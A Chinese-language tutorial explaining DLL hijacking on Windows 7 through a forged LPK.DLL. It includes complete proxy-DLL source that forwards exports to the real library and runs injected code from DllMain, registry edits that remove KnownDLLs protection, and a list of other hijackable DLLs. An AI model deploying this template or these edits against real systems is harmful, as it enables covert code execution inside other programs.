Dll注入技術之劫持注入
測試環境
系統:Windows 7 32bit
工具:FileCleaner2.0 和 lpk.dll
主要思路
利用Window可以先加載當前目錄下的dll特性,仿造系統的LPK.DLL,讓應用程序先加載我們的僞LPK.DLL,然後在我們的dll中去調用原來系統的原函數.
引用網絡中的原理講解
●背景知識●
首先我們要了解Windows爲什麼可以DLL劫持呢?主要是因爲Windows的資源共享機制。爲了儘可能多得安排資源共享,微軟建議多個應用程序共享的任何模塊應該放在Windows的系統目錄中,如kernel32.dll,這樣能夠方便找到。但是隨着時間的推移,安裝程序會用舊文件或者未向後兼容的新文件來替換系統目錄下的文件,這樣會使一些其他的應用程序無法正確執行,因此,微軟改變了策略,建議應用程序將所有文件放到自己的目錄中去,而不要去碰系統目錄下的任何東西。爲了提供這樣的功能,在Window2000開始,微軟加了一個特性,強制操作系統的加載程序首先從應用程序目錄中加載模塊,只有當加載程序無法在應用程序目錄中找到文件,才搜索其他目錄。利用系統的這個特性,就可以使應用程序強制加載我們指定的DLL做一些特殊的工作。
舉個例子來說吧,Windows的系統目錄下有一個名爲LPK.DLL的系統文件,程序運行時會在c:\Windows\system32文件夾下找到這個DLL文件並加載它。如打開記事本程序,用360的進程管理工具可以顯示記事本進程加載的所有模塊,如圖1所示。
圖1 記事本加載的所有模塊
可以看到記事本加載了c:\Windows\system32\LPK.DLL。
●什麼是DLL劫持●
根據前面說的Windows資源共享機制,操作系統加載程序首先從應用程序目錄中加載模塊。這一特性在註冊表中也有體現:HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,如果爲1,搜索的順序爲:應用程序所在目錄->系統目錄(用GetSystemDirectory獲取)->16位系統目錄->Windows目錄(用GetWindowsDirectory獲取)->運行程序的當前目錄->PATH環境變量,如果爲0,搜索順序爲:應用程序所在目錄->運行程序的當前目錄->系統目錄(用GetSystemDirectory獲取)->16位系統目錄->Windows目錄(用GetWindowsDirectory獲取)->PATH環境變量。Windows Server 2003默認值爲1,Windows XP/2000默認值爲0或者沒有這個鍵值。但是不管是哪種情況,第一個搜索的肯定是應用程序的所在目錄,這樣就有機會讓應用程序去加載我們的DLL。如果這個DLL和系統目錄下的某個DLL同名,導出表也相同,功能就是加載系統目錄下的那個DLL,並且將導出錶轉發到那個真實的DLL。這時DLL劫持就發生了。可以看出,構造一個符合上面要求的DLL,再將其放在可執行文件的目錄即可輕鬆實現DLL劫持了。
●DLL劫持的實現●
這一步我們的工作就是通過編程來實現一個LPK.DLL文件,它與系統目錄下的LPK.DLL導出表相同,並能加載系統目錄下的LPK.DLL,並且能將導出錶轉發到真實的LPK.DLL。可以看出我們要實現的這個DLL需求如下:
1、構造一個與系統目錄下LPK.DLL一樣的導出表;
2、加載系統目錄下的LPK.DLL;
3、將導出函數轉發到系統目錄下的LPK.DLL上;
4、在初始化函數中加入我們要執行的代碼。
主要代碼
實現僞造的LPK.DLL
//
// LPK.DLL劫持注入源碼
//
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 頭文件
#include "stdafx.h"
#include <Windows.h>
#include <process.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 宏定義
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)
#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//LpkEditControl導出的是數組,不是單一的函數(by Backer)
EXTERNC void __cdecl AheadLib_LpkEditControl(void);
EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl };
////////////////////////////////////////////////////////////////////////////////////////////////
//添加全局變量
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// AheadLib 命名空間
namespace AheadLib
{
HMODULE m_hModule = NULL; // 原始模塊句柄
// 加載原始模塊
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
GetSystemDirectory(tzPath, MAX_PATH);
lstrcat(tzPath, TEXT("\\lpk.dll"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
{
wsprintf(tzTemp, TEXT("無法加載 %s,程序無法正常運行。"), tzPath);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
};
//MessageBox(NULL, "原始模塊加載成功", TEXT("AheadLib"), MB_ICONSTOP);
return (m_hModule != NULL);
}
// 釋放原始模塊
inline VOID WINAPI Free()
{
if (m_hModule)
{
FreeLibrary(m_hModule);
}
}
// 獲取原始函數地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintfA(szProcName, "%d", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("無法找到函數 %hs,程序無法正常運行。"), pszProcName);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace AheadLib;
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
//函數聲明
void WINAPIV InitInject(LPVOID pParam);
//自己添加功能的函數
void WINAPIV InitInject(LPVOID pParam)
{
//在這裏可以添加自己的DLL
//LoadLibrary(TEXT(".\\MyDll.dll"));
MessageBox(NULL, TEXT("LPK劫持成功"), TEXT("警告"),NULL);
return;
}
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函數
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (Load())
{
//LpkEditControl這個數組有14個成員,必須將其複製過來
memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);
_beginthread(InitInject, NULL, NULL);//創建新線程實現自己的功能
}
else {
// MessageBox(NULL, "初始化失敗", "123 ERROR", MB_ICONSTOP);
return FALSE;
}
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkInitialize(void)
{
GetAddress("LpkInitialize");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkTabbedTextOut(void)
{
GetAddress("LpkTabbedTextOut");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkDllInitialize(void)
{
GetAddress("LpkDllInitialize");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkDrawTextEx(void)
{
GetAddress("LpkDrawTextEx");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkEditControl(void)
{
GetAddress("LpkEditControl");
__asm jmp DWORD ptr[EAX];//這裏的LpkEditControl是數組,eax存的是函數指針
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkExtTextOut(void)
{
GetAddress("LpkExtTextOut");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkGetCharacterPlacement(void)
{
GetAddress("LpkGetCharacterPlacement");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
{
GetAddress("LpkGetTextExtentExPoint");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkPSMTextOut(void)
{
GetAddress("LpkPSMTextOut");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkUseGDIWidthCache(void)
{
GetAddress("LpkUseGDIWidthCache");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_ftsWordBreak(void)
{
GetAddress("ftsWordBreak");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
實現效果
把僞造的LPK.DLL放在程序同目錄下(這樣會首先加載我們僞造的DLL)注:可能需要修改註冊表,使得程序從執行文件所在目錄加載DLL(修改完可能需要重啓)
有些高版本系統和程序已經不能劫持lpk.dll了,這裏我用了"黑客反病毒論壇"的FileCleaner2.0.exe程序測試成功!
其他可劫持的dll爲:
lpk.dll、winmm.dll、ws2_32.dll、ws2help.dll、version.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll等
XP:
把HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls下的lpk項刪除掉,重啓電腦。
WIN7:
在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager添加一個鍵值ExcludeFromKnownDlls(多字符串類型),把lpk.dll加進去。如果需要其他DLL請自行加入。
如圖:
查看我們僞造的LPK.DLL導出表,與系統原來的一樣
運行程序後先加載了我們僞造的LPK.DLL,程序被劫持
從模塊列表中也可以看到,既加載了我們僞造的LPK.DLL,也加載了系統的lpk.dll